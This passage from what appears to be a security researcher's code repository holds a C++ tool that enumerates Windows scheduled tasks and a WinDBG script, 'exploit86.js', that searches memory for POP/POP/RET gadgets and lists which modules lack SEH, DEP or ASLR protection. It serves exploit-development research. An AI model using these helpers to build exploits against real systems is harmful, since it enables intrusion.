::VariantInit(&item); item.vt = VT_I4; item.lVal = i + 1; hResult = pTaskCollection->get_Item(item, &pTask); if (SUCCEEDED(hResult)) { BSTR bstrTaskName = NULL; hResult = pTask->get_Name(&bstrTaskName); if (SUCCEEDED(hResult)) { wprintf_indent(bstrTaskName, indent + 3, TRUE); } ::SysFreeString(bstrTaskName); } else { ::wprintf(L"[-] Error while retriving task %d\n", i + 1); } } // Get all sub folders in current folder LONG lTaskFolders = 0; ITaskFolderCollection* pNewTaskFolderCollections = NULL; pTaskFolder->GetFolders(0, &pNewTaskFolderCollections); pNewTaskFolderCollections->get_Count(&lTaskFolders); // Loop through all the folders for (LONG i = 0; i < lTaskFolders; i++) { ITaskFolder* pNewTaskFolder = NULL; VARIANT item; ::VariantInit(&item); item.vt = VT_I4; item.lVal = i + 1; pNewTaskFolderCollections->get_Item(item, &pNewTaskFolder); EnumerateTasks(pNewTaskFolder, indent + 3); pNewTaskFolder->Release(); } pTaskCollection->Release(); return TRUE; } INT wmain() { ::wprintf(L"[>] Windows Task Scheduler Experiments\n"); ::wprintf(L"[>] Author: Paul Laîné (@am0nsec)\n"); ::wprintf(L" ----------------------------------------------------------------------------------\n\n"); if (IsAdministrator()) ::wprintf(L"[>] Executed with elevated privileges\n\n"); else ::wprintf(L"[>] Executed without elevated privileges\n\n"); ITaskService* pTaskService = NULL; ITaskFolder* pTaskFolder = NULL; IRegisteredTaskCollection* pTaskCollection = NULL; BSTR bstrRootFolder = ::SysAllocString(L"\\"); InitialiseCOM(); CreateTaskServiceInstance(pTaskService); ConnectToTaskService(pTaskService); GetRootTaskFolder(pTaskFolder, pTaskService, bstrRootFolder); ::wprintf(L"[>] Parsing tasks ...\n"); EnumerateTasks(pTaskFolder, 0); // Cleanup ::wprintf(L"\n[>] Cleaning everything ...\n"); pTaskFolder->Release(); pTaskService->Release(); ::SysFreeString(bstrRootFolder); ::CoUninitialize(); ::wprintf(L"[+] Cleaning everything ... OK\n\n"); return 0; } ================================================ FILE: WinDBG/exploit86.js ================================================ "use strict"; function initializeScript() { return [new host.apiVersionSupport(1, 7)]; } function FindPPR(beginning, end) { var DbgPrint = host.diagnostics.debugLog; DbgPrint("[>] Searching for POP/POP/RET in given memory region ...\n"); if (end < beginning) { DbgPrint("Invalid beginning end region provided!\n"); return; } var length = end - beginning; var MemoryRegion = host.memory.readMemoryValues(beginning, length); var cx = 0x00; for (; cx < length; cx++) { var b1 = MemoryRegion[cx]; var b2 = MemoryRegion[cx + 1]; var b3 = MemoryRegion[cx + 2]; if (b3 != 0xC3) continue; if (b1 >= 0x58 && b1 <= 0x5F && b1 != 0x5C) { if (b2 >= 0x58 && b2 <= 0x5F && b2 != 0x5C) { DbgPrint( "0x" + Number(beginning + cx).toString(16) + "\t" + _FindPPRInternal(b1) + "; " + _FindPPRInternal(b2) + "; ret (" + Number(b1).toString(16) + Number(b2).toString(16) + Number(b3).toString(16) + ")\n" ); } } } } function _FindPPRInternal(byte) { switch (byte){ case 0x58: return "pop eax"; case 0x59: return "pop ecx"; case 0x5A: return "pop edx"; case 0x5B: return "pop ebx"; case 0x5D: return "pop ebp"; case 0x5E: return "pop esi"; case 0x5F: return "pop edi"; } } function GetModulesCharacteristics(IncludeSystem32) { var DbgPrint = host.diagnostics.debugLog; DbgPrint("[>] Listing current process modules characteristics ...\n"); var Modules = host.currentProcess.Modules; for (var Module of Modules) { if (!IncludeSystem32 && Module.Name.toLowerCase().indexOf("system32") !== -1) continue; var DllCharacteristics = Module.Contents.Headers.OptionalHeader.DllCharacteristics; var SEH = (DllCharacteristics & 1024) === 1024 ? "TRUE " : "FALSE"; var DEP = (DllCharacteristics & 256) === 256 ? "TRUE " : "FALSE"; var ASLR = (DllCharacteristics & 64) === 64 ? "TRUE " : "FALSE"; DbgPrint( "0x" + Number(Module.BaseAddress).toString(16) + "\t" + "0x" + Number(Module.BaseAddress + Module.Size).toString(16) + "\t" + SEH + "(SEH)\t" + DEP + "(DEP)\t" + ASLR + "(ASLR)\t" + Module.Name + "\n" ); } }